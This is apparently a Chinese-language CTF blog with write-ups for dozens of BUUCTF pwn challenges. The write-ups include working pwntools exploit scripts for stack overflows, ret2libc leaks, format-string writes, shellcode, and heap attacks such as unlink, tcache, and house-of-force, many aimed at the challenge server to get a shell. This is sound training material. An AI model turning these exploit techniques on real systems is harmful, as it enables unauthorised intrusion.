【BUUCTF】Pwn篇
rip
首先查看一下文件的相关信息
64位程序,没有任何保护。
用IDA打开对程序逻辑进行分析
输入使用的gets,根据这点,直接栈溢出即可。
观察其他函数可以发现有一个名叫fun的函数,里面有system(“/bin/sh”),运行这个函数就可以拿到权限
现在的问题就是获取我们需要填充的字节数了(去填充ret返回地址)
有趣的就在这儿,服务器那边的程序和拿到手里的程序是有区别的:
- 首先,远程的服务器(docker)里运行的程序没有对标准输入取消缓冲区,即我们本地的程序是会先输入再输出,远程是直接先输入,写exp时需要注意这点
- 其次,经过测试本地需要填充的字节数与远程程序需要填充的字节数是不一致的,需要作出更改
需要注意的地方就是这两点,本地填充字节数为23,远程为15(因为字节数不大,爆破即可。根据返回的保存信息向下寻找正确的填充字节数)
EXP:
1
2
3
4
5
6
7
8
9
10
11from pwn import *
#context.log_level='debug'
#r = process("./pwn1")
r = remote("node3.buuoj.cn", xxxxx)
payload = 'a'*15 + p64(0x401186) #fun函数位置为0x401186
#r.recvuntil("please input")
sleep(1)
r.sendline(payload)
r.interactive()
warmup_csaw_2016
怎么说呢…这道题是被降低难度了(虽然也差不了多少)
拿到题目后先checksec查看程序相关信息,再运行一下理清程序大致流程
从checksec结果可以看到程序没有开任何保护,且为64位程序
再看运行过程,发现程序会打印一个16进制数。
带着这些信息我们来看IDA的分析结果
可以看到程序会将system(“cat flag.txt”)的地址打印给我们(程序打印的16进制数)
下面的输入点是使用gets函数来进行输入的
有gets必有栈溢出,接下来来确定需要填充的字符数
使用cyclic工具先生成200个字符用于之后的输入
gdb打开程序r开始运行,在输入点将cyclic生成的200个字符复制进去
此时程序会因为栈溢出而使返回地址出现错误停下来,汇编代码会停在ret位置
记录此时栈顶的前四个字符
退出gdb,继续使用cyclic工具来计算具体需要填充的字符数
得到了结果:需要填充72个字符
写EXP即可
EXP:
1
2
3
4
5
6
7
8
9
10from pwn import *
r = remote("node3.buuoj.cn", xxxxx)
#r = process("./warmup_csaw_2016")
r.recvuntil(">")
payload = 'a'*72 + p64(0x40060d)
r.sendline(payload)
r.interactive()
ps: 这道题目的设计思路感觉应该要开地址随机化的,这样每次打印出来的system(“cat flag.txt”)地址才会不一样,整个题目才会有意义,外加题目也给了后门函数的地址,这样来说,附件也是应该不提供的,整个题目作为一个fuzz类的入门题,这样虽然每次的system地址不一致,但会打印出来,而填充的无效字符数又是固定的,使用fuzz将会在很短的时间里将结果跑出来(记得xctf中有道题就是这样的…)
pwn1_sctf_2016
程序相关信息
32位程序,有NX保护,堆栈内容不可执行
用IDA分析主要函数
首先在左侧的函数窗口可以发现一个名为get_flag的函数,有了这个函数就可以获取到本道题的答案
接下来的任务就是思考如何让程序执行这个函数
进入主要函数vuln()中进行详细的分析
首先可以发现程序接受了32个字符,而接受的数组也是32,即没有造成溢出
接下来来看其中的一些函数的意义
可以注意到里边有一个replace函数,它为一个替换函数,将一个子串替换成另一个子串
结合上下文代码我们可以知道程序是将输入的字符串中的”I”子串全部替换成”YOU”子串
如果这样的话就会扩展输入的字符串(的长度),可以利用这一点来进行栈溢出运行get_flag函数
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13from pwn import *
context.log_level = 'debug'
r = process("./pwn1_sctf_2016")
#r = remote("node3.buuoj.cn", xxxxx)
get_flag = 0x08048F0D
payload = 'I'*21 + 'a' + p32(get_flag)
#r.recvuntil("yourself")
r.sendline(payload)
r.interactive()
这道题运行的时候会先进行输入再打印内容,写EXP之前建议先nc一下熟悉一下流程
ciscn_2019_n_1
这道题感觉难点在找那个十六进制…服了
拿到题目后首先查看题目的相关信息
64位程序,有NX保护,堆栈内容不可执行
IDA打开程序进行具体分析
可以看到有gets输入,则必有栈溢出
可以看到当v2等于11.28125时,就能拿到flag了(栈溢出,v1下面就是v2)
基本就可以写EXP了,但要注意一个问题
11.28125如果直接传是肯定有问题的,得用十六进制来传
如何找他的十六进制?有两种办法
- 在IDA中直接看汇编,在汇编代码中可以直接看到十六进制的数据内容
- 网上随便找过一个浮点数转十六进制即可
两种方法都可以,看个人习惯
EXP:
1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
context.log_level="debug"
#r = process("./ciscn_2019_n_1")
r = remote("node3.buuoj.cn", xxxxx)
r.recvuntil("number")
num = 0x41348000
payload = 'a'*44 + p32(num) #v2长度为4
r.sendline(payload)
r.interactive()
jarvisoj_level0
很简单的一道栈溢出,按流程来就行
首先checksec查看相关信息
64位程序,且只开了NX保护
IDA打开分析程序,首先在左侧的函数窗口可以发现一个名为”callsystem”的函数
从这儿我们可以知道只要让程序可以执行到这个位置就能拿到flag
再从主函数中去跟踪程序流程,可以看到这个位置
很明显的栈溢出,且他没有canary保护,那么直接写EXP即可
EXP:
1
2
3
4
5
6
7
8
9
10from pwn import *
#r = process("./level0")
r = remote("node3.buuoj.cn", xxxxx)
callsystem = 0x400596
payload = 'a'*(0x80+8) + p64(callsystem)
r.recvuntil("Hello, World\n")
r.sendline(payload)
r.interactive()
ciscn_2019_c_1
栈对齐可真是……真是妙极了
64位程序,checksec自己查就行,就不放图了
IDA打开后先查找字符串,可以发现没有什么能用的东西……
主要的漏洞点在encrypt这个函数中,进去后可以很明显的发现一个gets函数,栈溢出没跑了
可以了解到的是,在gets获取输入后会对字符串进行一个xor(异或)操作
初步的思路是先在本地进行一次xor异或,再进行发送,这样的话两次异或就会将字符串恢复成想要的样子
(在查writeup的时候看到其他师傅有一种骚操作:payload第一个字符写成’\0’来绕过加密函数……注意有一个strlen函数)
gets的栈溢出意味着溢出内容可以很大很大,考虑直接用puts函数泄漏puts函数的got表,再用LibcSearcher进行查找
比较坑的点在最后一个payload,此时system函数和 /bin/sh 的地址已经得到了,直接利用即可,但因为在ubuntu18上,有栈对齐这个问题…
则需要用ret去尝试进行栈对齐(本地n次可以,远程n次失败…)
额外提醒一个点,bss不可执行
EXP:
1 | from pwn import * |
[OGeek2019]babyrop
[题目链接](https://files.buuoj.cn/files/0f79aabcdde34469a530380d5a7d2930/pwn?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjo0Mzl9.YDMKnw.QlMT1c-uy9p6GvnEO1jFrH9xkSY)
32位程序,有NX保护
浏览程序可以看到函数中有一部分会将我们的输入与随机数进行对比,但是在之前有一个strlen,payload首字符填充’\0’就可以绕过
绕过后就有一个栈溢出了,libc题目也给了,打印一个got算一下libc的偏移就可以直接获取shell了
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
# r = remote("node3.buuoj.cn", xxxxx)
r = process('./pwn', env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")
main = 0x08048825
write_plt = elf.plt['write']
read_got = elf.got['read']
payload = '\x00' + '\xff'*10
r.send(payload)
r.recvuntil("Correct\n")
payload = 'A'*(0XE7+4)+ p32(write_plt)+ p32(main)+ p32(1)+ p32(read_got)+ p32(4)
r.send(payload)
read_addr = u32(r.recv())
log.success("read_addr => {}".format(read_addr))
payload = '\x00' + '\xff'*10
r.send(payload)
r.recvuntil("Correct\n")
base = read_addr - libc.symbols['read']
sys_addr = base + libc.symbols['system']
bin_addr = base + libc.search("/bin/sh").next()
payload = 'a'*(0XE7+4)+ p32(sys_addr)+ 'aaaa'+ p32(bin_addr)
r.send(payload)
r.interactive()
[第五空间2019 决赛]PWN5
[题目链接](https://files.buuoj.cn/files/ea8c23f0f475f7e4e0d8fdb5ccb58cef/pwn?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjo0NTR9.YDMhbw.a7IvvdVF3WPZWdIGMesJDp_cp6Q)
32位程序,IDA打开后可以很明显的看到一个格式化字符串漏洞(main函数第21行)
程序流程是获取一个随机数,并将其存储在BSS段
紧接着获取用户输入查看是否一致
因为有格式化字符串漏洞,则可以直接改写bss段存储的数据以达到控制目的
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15from pwn import *
context.log_level = "debug"
r = remote("node3.buuoj.cn", xxxxx)
bss = 0x0804C044
payload = p32(bss) + '%10$n'
r.recvuntil("your name:")
r.sendline(payload)
r.recvuntil("Hello,")
r.recvuntil("your passwd:")
r.send('4')
r.interactive()
[BJDCTF 2nd]r2t3
32位程序,IDA打开后在name_check函数中我们可以看到一个strcpy,但是很可惜的是在上面还有一个strlen函数用于防护
查看其它位置后发现没有别的利用点,考录strcpy的结果是否可以溢出
查看汇编代码可以发现strlen的结果是存储在al寄存器中的
al寄存器是八位寄存器,则我们可以利用这一点去进行strlen的结果溢出(整数溢出)
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13from pwn import *
context.log_level = "debug"
r = remote("node3.buuoj.cn", xxxxx)
door = 0x0804858B
payload = 'a'*(0x11+4) + p32(door)
payload = payload.ljust(261, 'a')
r.recvuntil("[+]Please input your name:")
r.sendline(payload)
r.interactive()
get_started_3dsctf_2016
[题目链接](https://files.buuoj.cn/files/e705cbcd509fb15b1fd73801311e3b05/get_started_3dsctf_2016?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoyNTB9.YDM4YA.2p2y1AjMtxC8SBf_nODB9xJvzhY)
32位程序,IDA打开后会发现有很多很多函数,而且其中有一个get_flag函数
main函数是一个很简单的栈溢出漏洞,我们可以直接控制程序去执行get_flag函数
需要注意的点是返回地址不能随便写,随便写的话程序会异常退出导致无回显看不到flag
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14from pwn import *
context.log_level = 'debug'
r = remote("node3.buuoj.cn" ,26115)
# r = process("./get_started_3dsctf_2016")
door = 0x080489A0
exit = 0x0804E6A0
# r.recvuntil("Qual a palavrinha magica? ")
payload = 'a'*(56)+ p32(door)+ p32(exit)+ p32(0x308CD64F)+ p32(0x195719D1)
r.sendline(payload)
r.interactive()
ciscn_2019_en_2
[题目链接](https://files.buuoj.cn/files/d850b6b7b0a55757f5d5cf32f3f2d2a4/ciscn_2019_en_2?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjozNjV9.YDNGmg.MdXra8fV2HuuvsLRpb_sIVcSXk4)
这题…好像和上面那道题没什么区别
EXP直接没改就过了…很迷惑
EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
def Xor(str1):
for i in str1:
if(i <= '`' or i > 'z'):
if(i <= '@' or i > 'Z'):
if(i > '/' and i <= '9'):
i = chr(ord(i) ^ 0xF)
else:
i = chr(ord(i) ^ 0xE)
else:
i = chr(ord(i) ^ 0xD)
return str1
r = remote("node3.buuoj.cn", xxxxx)
# r = process("./ciscn_2019_c_1")
elf = ELF("./ciscn_2019_en_2")
pop_rdi = 0x400c83
r.recvuntil("Input your choice!")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted")
payload = 'a'*(0x50+8) + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
payload = Xor(payload)
r.sendline(payload)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
puts_got = u64(r.recvuntil("\n")[:-1].ljust(8, "\x00"))
log.success("puts => {}".format(hex(puts_got)))
libc = LibcSearcher("puts", puts_got)
base = puts_got - libc.dump("puts")
sys = libc.dump("system") + base
binsh = libc.dump("str_bin_sh") + base
log.success("system => {}".format(hex(sys)))
log.success("/bin/sh => {}".format(hex(binsh)))
ret = 0x4006b9
# r.recvuntil("Input your choice!")
r.sendline("1")
r.recvuntil("Input your Plaintext to be encrypted")
payload = 'a'*(0x50+8) + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(sys) + p64(elf.symbols['main'])
payload = Xor(payload)
r.sendline(payload)
r.interactive()
ciscn_2019_n_8
[题目链接]()
32位程序,IDA打开进行分析
主函数中可以看到当var[13]等于17的时候就可以获取shell了
点击VAR可以看到这是个存储在BSS上的数组,DD说明是以4字节为单位的
下面的判断处有一个强制类型转换:*(_QWORD *)&var[13]
这个是8字符的
有了这些信息就可以写脚本了
EXP:
1
2
3
4
5
6
7
8
9from pwn import *
r = remote("node3.buuoj.cn", xxxxx)
payload = 'a'*(13*4)+ p64(17)
r.recvuntil("?")
r.sendline(payload)
r.interactive()
jarvisoj_level2
[题目链接](https://files.buuoj.cn/files/4650a409f5fcebd3cee554cd50eed56d/level2?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjo5ODF9.YDdGVA.NlvXwoIEa0697gtiRpvFtzMqb6o)
32位程序,很简单的栈溢出,而且还有system函数和/bin/sh字符串,直接用即可
- EXP直接没改就过了:
1 | from pwn import * |
not_the_same_3dsctf_2016
[题目链接](https://files.buuoj.cn/files/a899be68f938b281ef1b9f84fc0c652e/not_the_same_3dsctf_2016?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoyNTN9.YDdIEA.TDAQ1mpLCfHU6GkRvS_RsyD5ebw)
32位程序,有NX保护。
主函数里有gets,且没有canary保护,直接栈溢出。且程序中有一个后门函数(get_secret)
执行后可将flag读取之BSS段,接着将其打印出来即可
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
r = remote("node3.buuoj.cn", xxxxx)
elf = ELF("./not_the_same_3dsctf_2016")
door = 0x080489A0
write = 0x0806E270
flag = 0x080ECA2D
payload = 'a'*(45)
payload += p32(door)
payload += p32(write) + 'aaaa' + p32(1) + p32(flag) + p32(0xffff)
# r.recvuntil("...")
r.sendline(payload)
r.interactive()
[BJDCTF 2nd]one_gadget
[题目链接](https://files.buuoj.cn/files/84c98088906220f743b9de44d169a9b1/one_gadget?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxNzQ1fQ.YDda6w.hGdsKyNYI6ARmIaOQO9pv_rLhkI)
64位程序,保护全开
首先从题目描述中可以大概知道这道题需要用到one_gadget
先下载libc,获取one_gadget
1 | ➜ Desktop one_gadget libc-2.29.so |
因为最后一个one_gadget需要的条件最少,也最有可能成功,记住他的地址备用
IDA大概程序进行分析
在INIT函数中程序将printf的地址打印了出来
main函数中有一个函数指针,值可以由我们进行控制
libc已经拿在手中了,那根据打印出来的地址即可算出libc加载的偏移
将记下的one_gadget地址加上偏移发送过去即可getshell
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
r = remote("node3.buuoj.cn", xxxxx)
libc = ELF("./libc-2.29.so")
libc_printf = libc.symbols['printf']
one_gadget = 0x106ef8
r.recvuntil("here is the gift for u:0x")
printf = int(r.recvline()[:-1], 16)
log.success("printf => {}".format(hex(printf)))
base = printf - libc_printf
payload = str(one_gadget + base)
r.recvuntil("Give me your one gadget:")
r.sendline(payload)
r.interactive()
bjdctf_2020_babystack
[题目链接](https://files.buuoj.cn/files/4934c889a963e31c069c614dd58e9b31/bjdctf_2020_babystack?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjoxMzY0fQ.YDda4A.BwpQClqS6kjax41LbkpunROQ5eQ)
64位程序,有NX保护
IDA打开后有后门函数(backdoor),且输入长度可以控制(nbytes)
简单的栈溢出
1 | from pwn import * |
[HarekazeCTF2019]baby_rop
[题目链接](https://files.buuoj.cn/files/76f9a1669c3cb299450af36b04582c04/babyrop?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjo0NDV9.YDd3lw.Vu-xGGiTWuTdpfP8HCa0ofOkesg)
64位程序,简单的栈溢出+rop,就不分析了
这道题的flag在这个位置”/home/babyrop/flag”
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
r = remote("node3.buuoj.cn", xxxxx)
elf = ELF("./babyrop")
pop_rdi = 0x0000000000400683
system = elf.plt['system']
binsh = elf.symbols['binsh']
payload = 'a'*(24) + p64(pop_rdi) + p64(binsh) + p64(system)
r.recvuntil("name?")
r.sendline(payload)
r.interactive()
jarvisoj_level2_x64
[题目链接](https://files.buuoj.cn/files/2ed2e33af0bf2fba87a5c4720be4dcc9/level2_x64?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjo5NzR9.YDd3qA.MocXkVGDKpScds8eIC7dpqP6fgQ)
不用多说什么了吧?
- EXP:
1 | from pwn import * |
ciscn_2019_n_5
[题目链接](https://files.buuoj.cn/files/1bfd8d6bbed3292c3c5d4004f7353eaf/ciscn_2019_n_5?token=eyJ1c2VyX2lkIjo4OTU1LCJ0ZWFtX2lkIjpudWxsLCJmaWxlX2lkIjozNzN9.YDd3uQ.403eJydCp34dQ2dPiO0SdkWrR3E)
64位程序,什么保护都没有
IDA打开分析后可以看到可以控制bss段的一部分内容(0x64),而且还有一个栈溢出(gets)
pwntools的shellcraft生成一个64位的payload即可
EXP:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
r = remote("node3.buuoj.cn", xxxxx)
bss = 0x0000000000601080
shell = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')
payload = 'a'*(0x20+8) + p64(bss)
r.recvuntil("name")
r.sendline(shell)
r.recvuntil("me?")
r.sendline(payload)
r.interactive()
ciscn_2019_ne_5
1 | ➜ ubuntu ROPgadget --binary ciscn_2019_ne_5 --string "sh" |
1 | from pwn import * |
铁人三项(第五赛区)_2018_rop
简单的rop…
1 | from pwn import * |
others_shellcode
emmmm….?
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
bjdctf_2020_babyrop ★
64 位有NX保护
vuln函数有溢出,没有system函数以及“/bin/sh“字符串,但有read和puts,常规做法直接莽就行
1 | from pwn import * |
这个题略显诡异,本地跑不通,远程也打不通,但是调试的时候构造的东西都合适这…后续再看
babyheap_0ctf_2017
挺有意思的一道堆溢出,漏洞点在 Fill 函数处
Fill 函数的作用是填充申请的堆块,但是他并有验证输入的字符长度,造成可以无限长度的堆溢出
思路:
1. 构造 smallbin 直接打 Unsortedbin 来泄漏 unsortedbin 地址
2. 通过 unsortedbin 地址计算 main_arena 地址(Unsortedbin-0x58)
3. 通过 main_arena 计算 __malloc_hook 地址(main_arena-0x10)
4. 通过 __malloc_hook 地址使用 LibcSearcher 来查找对应的 libc,并计算加载基址
5. 找到后再利用 One_gadget 来查找可以利用的 one_gadget,并计算真实加载地址
6. 利用 GDB 运行程序,在 __malloc_hook 上面查找可以构造成 chunk 的内存区域
7. 找到后计算其对应的 bin 链表
8. 申请两个相同 bin 链对应大小的 chunk
9. free 这两个 chunk 中的第二个 chunk
10. 利用第一个 chunk 更改第二个 chunk 的 fd 指针至我们刚才找到的内存区域位置(__malloc__hook 上方)
11. 两次申请即可将 __malloc__hook 区域处的内存申请出来
12. 通过 Fill 函数将 __malloc_hook 处的内存修改为 one_gadget 的加载地址
13. 申请堆块触发 __malloc_hook 来执行 one_gadget 完成整个利用过程
PS:
1. 在执行 malloc 函数前会检查 __malloc_hook,若为空则继续执行 malloc,否则先去执行 __malloc_hook 对应的内容
2. main_arena = Unsortedbin-0x58 和 __malloc_hook = main_arena-0x10 为固定偏移
3. 使用 LibcSearcher 是为了通用性,当然也可以直接拿 libc 文件去看 main_arena 的偏移来计算加载基址
代码:
1 | # -*- coding: utf-8 -*- |
pwn2_sctf_2016
简单题,直接看吧
1 | from pwn import * |
jarvisoj_fm
格式化字符串漏洞,没啥多说的
1 | from pwn import * |
ciscn_2019_s_3
栈溢出,给了几个gadget,其中一个是execev的eax,那边利用execve的系统调用来解题
execve需要后两个参数为0,程序中可以找到设置rdi,rsi的gadget,但是并没有设置rdx的gadget,需要利用 ret2csu 方法
1 | from pwn import * |
bjdctf_2020_babystack2
简单题
1 | from pwn import * |
HarekazeCTF2019-baby_rop2
还是简单题
最近发现libc-database经常找不到对应的libc
网站是真好用:https://libc.nullbyte.cat/
1 | from pwn import * |
jarvisoj_level3
很烦,LibcSearcher一直找不到,我是不是应该在本地部署一个网站查询方式的了…
无语
1 | from pwn import * |
ciscn_2019_es_2
只能覆盖到ret,栈迁移,多调试几次就出来了
1 | from pwn import * |
ez_pz_hackover_2016
这题也没啥好说的,提示信息那么明显,直接正面刚就行
1 | from pwn import * |
jarvisoj_tell_me_something
??? 第一页的最后一道题,还以为会是个堆…
1 | from pwn import * |
Black Watch 入群题-PWN
有意思的一道题,还是溢出只能到ret位置,需要栈迁移,bss段有一段非常大的空间, 来回绕就行了
1 | from pwn import * |
picoctf_2018_rop chain
有意思的一道题,考点就是函数构造
1 | from pwn import * |
jarvisoj_level4
简单题,直接做吧
1 | from pwn import * |
jarvisoj_level3_x64
和上一道题没什么大区别
1 | from pwn import * |
bjdctf_2020_babyrop2
正常难度
1 | from pwn import * |
babyfengshui_33c3_2016
已知:
- 存在堆溢出:Edit时检查的内容为 description地址+length是否大于name地址,即写多少内容不管,但不能影响到name (description chunk先申请,在低地址)
- user结构体内容是一个指针加一个数组,存在一个指针
思路:
- 想办法让一个user结构体的 description chunk 和 结构体chunk 分开,两块内存中间去创建一个完整的user结构体(user chunk+description chunk)
- 利用溢出去改夹在中间的 user chunk 中的指针,完成后泄漏和更改都可以继续完成
注意:
- 由于edit中的check机制,泄漏和更改的的位置得放在got表中
- 泄漏不出来有可能是函数加载地址中有‘\x00’,被截断了
ciscn_2019_n_3
已知:
- note结构体有两种形式:函数指针+函数指针+值,函数指针+函数指针+地址指针
思路:
- 想办法让一个note的地址指针指向另一个note结构体,这样在创建该note结构体时有机会去修改被指向的note结构体中的函数指针
注意:
- call plt
- 注意call的参数
pwnable_start
思路&注意
- 有栈溢出,而且没有nx保护可以传代码进去,然后ret到代码所在位置
- 每次ret后rsp会+4,即start函数中会对栈有操作的有:add esp, 0x14 和 ret
gyctf_2020_borrowstack
思路&注意
- 基本栈迁移
- puts函数会申请很大一块栈空间,而bss里got表过近,容易破坏got表中内容
- 为什么我用system(‘/bin/sh’)搞不出来?本地也不行。。。
others_babystack
纯考验基础功,分别泄漏canary和libc base就可以构造payload了
提醒:0x90+0x10≠0x100
hitcontraining_heapcreator
off-by-one 可以修改chunk大小
extend 手法实现 chunk overlapping,然后便可以泄漏修改got表
0ctf_2017_babyheap
可以控制输入的长度就有很多种方法可以用了
我的思路是:extend实现chunk overlapping泄漏libc地址,然后fastbin attack申请__malloc_hook填入one_gadget
ciscn_2019_s_9
没有NX意味着可以传汇编进去执行,有jmp esp意味着知道栈地址,构造即可
hitcon2014_stkof
unlink用的还是不太熟
对于ubuntu16的unlink来说,没什么太多的验证,只要堆地址在bss存储,就可以利用unlink去修改存储的堆地址来做事,有时间还是得再看看源码
pwnable_hacknote
这题有点东西
简单uaf利用就不说了,重点在后面,print时传的不是content chunk地址而是head chunk地址,而考虑到32位程序地址中很少有截断字符存在,所以可以在head chunk 存储content chunk addr的地址处直接写;sh\x00
,
roarctf_2019_easy_pwn
这题有点问题,后面找时间再看看
题目很简单,基本的off-by-one利用,不过ogg没有一个能用的,其他人的思路是把ogg填在realloc_hook里,malloc_hook里填realloc来调整栈帧,不过这玩儿咋调?咋知道需要从realloc哪一行开始?
后面再看看
后记:
首先执行malloc函数,malloc函数会自动检查__malloc_hook
中是否有内容,如果有则执行,此时在malloc_hook中填入realloc函数地址,则会检查到malloc_hook后转去执行realloc。同样,realloc执行过程也会检查realloc_hook
,此时如果在realloc_hook中写入one_gadget地址,就会最终执行one_gadget。
–>
malloc $\stackrel{__malloc_hook}{\longrightarrow}$ realloc $\stackrel{__realloc_hook}{\longrightarrow}$ one_gadget
ciscn_2019_es_7
谈谈对这道题的理解
首先明确一点,不管怎么做,最终要实现的是execve('/bin/sh', 0, 0)
,在已经有mov rax,0x3b
的情况下首先尝试直接构造execve syscall,发现执行错误
接下来考虑是什么原因,由于gadget只能控制rax,rdi,rsi,不能控制rdx,所以猜测问题可能是出在rdx寄存器未设置正确
一般设置寄存器采用csu gadget,但是这道题没有多余的函数供我们call,所以考虑其他手段,即srop设置寄存器,就这样子,
payload很简单,先设置rax寄存器,在syscall,后面紧跟sigframe结构即可
hitcontraining_bamboobox
正常难度的unlink
unlink目前学的还是会有些疑问,例如本题的话,unlink我只能将序号为0的item改为unk_6020C8-0x18,改为其他的偏移都会报错,暂时还没想明白为什么,已经有很多unlink有这个现象了
需要注意的就是unk_6020C8-0x18会覆盖stdin,我是将其打印出来再带进去了
在一个就是不能用free_got去getshell了,测试下来是在经过menu函数后会报错,即puts函数内部有free函数的调用,改用其他的got函数即可
npuctf_2020_easyheap
前面那两道挺简单,就不写了
这个也挺简单,基础的overlapping
picoctf_2018_can_you_gets_me
ROPgadget –binary ./pwn –ropchain 一把梭了
mrctf2020_easy_equation
基本fmt,盯好偏移的位置
1 | from pwn import * |
actf_2019_babystack
基本的栈迁移,基本没什么好说的,构造payload就行,找俩got表,一个放system地址一个放/bin/sh\x00利用就ok
x_ctf_b0verfl0w
ret2ogg hhhh
艹,保护全关可以直接写shellcode进去跳转… 麻了
picoctf_2018_leak_me
虽然是gets,但是有输入长度限制,可以输入过长字符串使他不添加截断字符,就能把下面的内容带出来了
inndy_echo
简单fmt,printf_got里写入system_plt+6就可以
hitcontraining_unlink
这题是不是做过…,简单的unlink,注意别把stdin的缓冲区覆盖了,虽然不知道覆盖了会不会出错,但感觉会有问题
wdb2018_guess
Stack smash,第一次见,还挺有意思
1 | from pwn import * |
ciscn_2019_final_3
有学到不少东西这道题
- tcache attack malloc的时候可以任意位置直接申请?没有chunk头检查?
- free_hook 竟然可以写system,很有趣
1 | import sys |
wustctf2020_name_your_cat
一道简单题,但是感觉这道题的思路很不错,别出心裁
cmcc_pwnme1
这题fopen为啥不能用,没调明白,open都返回3了,fopen最后处理的时候报错了,离谱
wustctf2020_easyfast
麻了,注意到 fastbin attack,没注意到 use after free
ciscn_2019_es_1
怎么说呢,题很简单,自己还是有些东西掌握的不是很好
- 可以通过填充满tcache的一条链来进入 unsorted bin,但同时也可以通过释放大于0x400的chunk来进入 unsorted bin
- tcache double free
本地的环境还是有些问题,只能说本地环境只能当作参考
gyctf_2020_some_thing_exceting
free后不清空,简单的覆盖一下就能修改指针了
1 | Add(0x38, b'a', 0x38, b'b') |
axb_2019_heap
这题的出题人放了个key,但是又没用到…
free之后有清空,但是存在off-by-one,整个fake chunk 做unlink就行
基址可以通过格式化字符串泄漏
oneshot_tjctf_2016
看清楚接收的是什么内容即可
护网杯_2018_gettingstart
纯纯签到题
zctf2016_note2
题目还是有点意思的
add的时候可以malloc 0 来无限溢出
通过构造fake chunk来unlink改bss,完成got表更改
wustctf2020_number_game
这题是真没想到溢出这一点,确实很有意思
starctf_2019_babyshell
截断的思路挺巧妙的,利用 \x00\x42\x00 (汇编:add BYTE PTR [rdx+0x0], al)来绕过shellcode检查
actf_2019_babyheap
都做到这儿了,确实也成heap签到题了
gyctf_2020_force
这题收获不小
学习了 house-of-force
深入理解了使用realloc为one_gadget创造执行环境(其实很简单)
wustctf2020_name_your_dog
简单题,改got表就行
【★】ciscn_2019_final_2
ciscn的题是真复杂啊,好几道了,尽折磨人 T_T
程序信息
- init中将 flag 打开了,并且将文件描述符重定向到666
- malloc 只有两个 chunk 指针且限制chunk大小;可以无限申请chunk;content只接收数字且一个是dword一个是word
- 绕过 bool 可以进行 double free
- menu4 有一个读取并打印
- 菜单选项通过read获取(稍微关注即可)
思路整理
- 有文件句柄且存在一个读取并打印,考虑 IO_FILE attack,将 _IO_2_1_stdin_ 中 _fileno 从0改为666,这样,当程序从stdin获取输入时便会将flag带出来(menu4)
- IO_FILE attack 需要打 _IO_2_1_stdin_,而该结构被保存在libc中,即需要泄露libc基址
- 由于存在tcache double free,可利用uaf申请某个chunk头来更改其size位置(更改见add中相关代码),后续利用unsortbin chunk 泄露glibc加载基址
- 获得_IO_2_1_stdin_加载位置后便可以开始更改fileno变量值,不过由于content最多只能接受4个字节,所需需要chunk原先的fd中存在一个libc地址(使用其残留的高四字节地址)
- 考虑到之前用来泄露libc基址的chunk中存在一个libc地址,利用uaf申请该位置的内存用于申请_IO_2_1_stdin_位置内存来更改fileno
- 由于menu选项通过read函数直接从0文件描述符获取输入,所以stdin的更改不会影响到该位置输入
- 进menu4拿flag即可
参考
ciscn_2019_en_3
怎么说呢,以前的思路确实有些僵硬,只知道泄漏 __libc_start_main
来获取libc基址,忽视了其他内容
这道题注意在执行_printf_chk
函数时附近的栈帧就行,%p
还是可以用的
judgement_mna_2016
主函数之前有对flag做过操作,所以栈中存在flag指针…
gyctf_2020_signin
del没有清除ptrlist中的指针,可以uaf,但是edit只能用一次。同时可以发现backdoor中存在一个calloc,并且会将chunk初始化为1。
那便可以利用calloc的初始化来给ptr赋值执行getshell
需要注意的是,calloc并不会从tcache中拿chunk
wdb_2018_3rd_soEasy
确实是soeasy,buf地址都告诉了
picoctf_2018_are you root
